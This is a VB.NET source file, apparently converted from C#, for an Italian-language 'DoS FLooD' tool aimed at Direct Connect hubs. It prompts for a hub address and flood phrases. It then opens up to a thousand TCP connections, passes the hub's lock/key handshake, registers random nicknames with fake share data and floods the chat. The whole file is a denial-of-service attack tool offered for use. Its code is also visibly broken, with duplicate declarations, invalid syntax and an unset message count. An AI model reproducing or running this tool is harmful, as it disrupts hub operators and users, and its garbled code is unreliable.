Imports System
Imports System.Collections
Imports System.ComponentModel
Imports System.Data
Imports System.Net.Sockets
Imports System.Net
Imports System.Text
Imports System.Threading
Imports System.Diagnostics
Imports System.IO
Namespace FLoDDeR
'/ <summary>
'/ Descrizione di riepilogo per Class1.
'/ </summary>
Class Class1
'/ <summary>
'/ Il punto di ingresso principale dell'applicazione.
'/ </summary>
'/
<STAThread()> _
Public Shared Sub Send(s As Socket, send As String)
Try
s.Send(Encoding.Default.GetBytes((send + "|")))
Catch Else
End Try
End Sub 'Send
Public Shared Function GeneraNickCasuali() As String
Dim rand As New Random()
Dim Satvar As String = nick
Dim nome As String = Satvar
Dim max As Integer = rand.Next(4, 8)
Dim i As Integer
For i = 0 To max - 1
Dim g As Integer = rand.Next(97, 122)
nome += CChar(g)
Next i
Return nome
End Function 'GeneraNickCasuali
Public Shared Function getKey(lockz As String) As String
Dim lock0 As Byte() = Encoding.Default.GetBytes(lockz)
Dim key(lock0.Length) As Integer
Dim i As Integer
For i = 1 To lock0.Length - 1
key(i) = lock0(i) ^ lock0((i - 1))
Next i
key(0) = lock0(0) ^ lock0((lock0.Length - 1)) ^ lock0((lock0.Length - 2)) ^ 5
Dim i As Integer
For i = 0 To key.Length - 1
key(i) = Machine.Shift.Left(key(i), 4) And 240 Or(Machine.Shift.Right(key(i), 4) And 15)
Next i
Dim sKey(515) As Byte
Dim len As Integer = 0
Dim i As Integer
For i = 0 To key.Length - 1
If key(i) = 0 Then
' "/%DCN000%/"
Dim ii As Integer
For ii = 0 To ("/%DCN000%/".Length) - 1
sKey(len) = Encoding.Default.GetBytes("/%DCN000%/")(ii)
len += 1
Next ii
ElseIf key(i) = 5 Then
Dim ii As Integer
For ii = 0 To ("/%DCN005%/".Length) - 1
sKey(len) = Encoding.Default.GetBytes("/%DCN005%/")(ii)
len += 1
Next ii
ElseIf key(i) = 36 Then
Dim ii As Integer
For ii = 0 To ("/%DCN036%/".Length) - 1
sKey(len) = Encoding.Default.GetBytes("/%DCN036%/")(ii)
len += 1
Next ii
ElseIf key(i) = 96 Then
Dim ii As Integer
For ii = 0 To ("/%DCN096%/".Length) - 1
sKey(len) = Encoding.Default.GetBytes("/%DCN096%/")(ii)
len += 1
Next ii
ElseIf key(i) = 124 Then
Dim ii As Integer
For ii = 0 To ("/%DCN124%/".Length) - 1
sKey(len) = Encoding.Default.GetBytes("/%DCN124%/")(ii)
len += 1
Next ii
ElseIf key(i) = 126 Then
Dim ii As Integer
For ii = 0 To ("/%DCN126%/".Length) - 1
sKey(len) = Encoding.Default.GetBytes("/%DCN126%/")(ii)
len += 1
Next ii
Else
sKey(len) = CByte(key(i))
len += 1
End If
Next i
Dim aux(len) As Byte
Dim i As Integer
For i = 0 To len - 1
aux(i) = sKey(i)
Next i
Return Encoding.Default.GetString(aux)
End Function 'getKey
Private Shared host, nick, share, tag, porta, descrizione, mail, connessione, nmess, nuser, fflood, fflood2 As String
Private Shared ihe As IPHostEntry
Private Shared iep As IPEndPoint
'Entry point which delegates to C-style main Private Function
Public Overloads Shared Sub Main()
Main(System.Environment.GetCommandLineArgs())
End Sub
Overloads Shared Sub Main(args() As String)
Dim share As String = "120"
Dim descrizione As String = ""
Dim tag As String = "<++ V:0.688,M:A,H:0/0/1,S:4>"
Dim mail As String = "WwW.PieRoToFy.IT"
Dim connessione As String = "LAN(T3)"
Console.Write("***** DoS FLooD 1.0 By SaTaNa ***** ")
Console.Write("***** In DeVePoL FoR UNiX ***** ")
Console.Write("***** WwW.SDHuB.ALTeRViStA.oRg ***** ")
Console.Write(" ")
Console.Write("InDiRiZZo DeLL'HuB: ")
host = Console.ReadLine()
Console.Write("PoRTa DeLL'HuB: ")
porta = Console.ReadLine()
Console.Write("NiCk DeL FLoDDaToRe: ")
nick = Console.ReadLine()
Console.Write("NuMeRo USeR: ")
nuser = Console.ReadLine()
Console.Write("FRaSe FLooD: ")
fflood = Console.ReadLine()
Console.Write("2 FRaSe FLooD: ")
fflood2 = Console.ReadLine()
Console.WriteLine()
Try
'ihe = Dns.Resolve(host);
Catch Else
End Try
'Console.Write("*** Indirizzo Sconosciuto...");
ihe = Dns.Resolve(host)
iep = New IPEndPoint(ihe.AddressList(0), Convert.ToInt32(porta))
Dim i As Integer
For i = 0 To 999
Try
Dim s As Socket
s = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
s.Connect(iep)
Dim buffer(1023) As Byte
s.Receive(buffer)
Dim lockepk As String = Encoding.Default.GetString(buffer)
Dim st As String() = lockepk.Split(" "c)
Dim lock0 As String = st(1)
Dim key As String = "$Key " + getKey(lock0)
Dim nick2 As String = GeneraNickCasuali()
Send(s, key)
Send(s, "$ValidateNick " + nick2)
Send(s, "$Version 1,0091")
Send(s, "$MyINFO $ALL " + nick2 + " " + descrizione + " " + tag + "$ $" + connessione + " $" + mail + "$" + Convert.ToDouble(share) * 1024 * 1024 * 1024 + "$")
Dim f As Integer
For f = 0 To (Convert.ToInt32(nmess)) - 1
Dim msg As Byte() = Encoding.Default.GetBytes(("<" + nick2 + "> " + fflood + " |"))
s.Send(msg)
Dim msg2 As Byte() = Encoding.Default.GetBytes(("<" + nick2 + "> " + fflood2 + " |"))
s.Send(msg2)
Next f
Catch Else
End Try
Next i
End Sub 'Main
End Class 'Class1
End Namespace 'FLoDDeR
